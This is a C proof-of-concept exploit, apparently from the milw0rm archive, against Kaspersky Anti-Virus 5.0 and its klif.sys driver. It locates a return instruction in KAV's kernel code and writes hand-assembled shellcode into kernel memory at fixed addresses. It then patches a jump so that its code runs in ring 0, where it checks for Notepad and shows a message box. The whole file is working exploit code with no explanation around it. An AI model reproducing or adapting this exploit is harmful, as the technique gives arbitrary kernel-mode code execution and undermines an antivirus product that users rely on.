/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
#define NO_STRICT 1
#include <windows.h>

#undef STRICT

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13
                    0xFF,0xD0,                    //call eax
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>
                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30
                    0xFF,0xD0,                    //call eax
                    0x85,0xC0,                    //test eax,eax
                    0x74,0x03,                    //je +03
                    0xC2,0x04,0x00,                //retn 4
                    0x6A,0x00,                    //push 0
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58
                    0xFF,0xD0,                    //call eax
                    0xC2,0x04,0x00                //retn 4
                    };

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

    HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
    HANDLE hUser=GetModuleHandle("USER32.DLL");

    FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
    FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

    FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

    PCHAR pNotepadName=(PCHAR)0xBE938200;

    char temp_buffer[MAX_PATH];
    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    lstrcpy(pNotepadName,temp_buffer);

    PCHAR pMessage=(PCHAR)0xBE938400;

    lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

    memmove(pCodeBase,code,sizeof(code));

    *pJmpAddress=(DWORD)pCodeBase;

    memmove(pKAVRet,jmp_code,sizeof(jmp_code));

    return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

    UCHAR retn_4[]={0xC2,0x04,0x00};

    memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

    UCHAR retn_4[]={0xC2,0x04,0x00};

    __try{

        for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

            if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
                return pKAVRets[i];

        }

    }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}


    MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);
    return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

    pKAVRet=GetKAVRetAddress();

    if(NULL==pKAVRet)
        return;


    if(!LoadExploitIntoKernelMemory())
        return;

    char temp_buffer[MAX_PATH];
    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    PROCESS_INFORMATION pi;

    STARTUPINFO si={0};
    si.cb=sizeof(si);

    CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
                        0,NULL,NULL,&si,&pi);

    WaitForSingleObject(pi.hProcess,INFINITE);

    MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);

    MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

    UnloadExploitFromKernelMemory();
}